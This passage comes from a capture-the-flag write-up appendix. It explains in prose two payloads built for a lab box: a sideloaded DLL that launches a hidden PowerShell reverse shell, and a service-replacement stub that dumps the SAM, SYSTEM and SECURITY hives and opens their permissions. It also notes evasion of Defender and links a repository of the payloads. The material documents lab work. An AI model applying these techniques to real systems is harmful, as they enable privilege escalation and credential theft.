The sideload payload is a trampoline, not a hive dumper. DllMain fires on DLL_PROCESS_ATTACH — before the service’s own code runs — and it does three things. DisableThreadLibraryCalls stops the entry point from re-firing for every thread the CLR attaches. CreateThread moves the payload off the loader lock, so DllMain returns TRUE immediately and the service keeps starting normally. The thread calls WinExec on a hidden PowerShell one-liner that dot-sources C:\ProgramData\shell.ps1, then sleeps 5 seconds to keep the DLL loaded long enough for the script to read the file and connect back. It is 32-bit because Failure2Ban.exe is a 32-bit .NET assembly, and the CLR can only load matching-bitness DLLs.

B.2 — hivedump.c (Service-Replacement Stub)

The shortcut payload replaces the service binary and runs as SYSTEM. It starts by enabling SeBackupPrivilege — present on the service token but disabled — via AdjustTokenPrivileges. For each hive, save_hive opens HKLM\SAM, SYSTEM, and SECURITY and calls RegSaveKeyW to dump them to C:\Temp, then grant_everyone rewrites the file’s DACL to grant Everyone full control (GENERIC_ALL), which is what guarantees the unprivileged Olivia shell can pull them off. steal_file copies root.txt the same way. A 30-second Sleep keeps the process alive long enough for the copies to land and the operator to read them before the service cycles. Its import table is almost empty — ADVAPI32 plus the CRT shims — and that is why Defender let it run.

All payloads above are the exact files built and run on the box, and the repository also holds the objdump receipts for the header comparison table: github.com/thesecretmyth/ctf-toolkit/tree/master/payloads.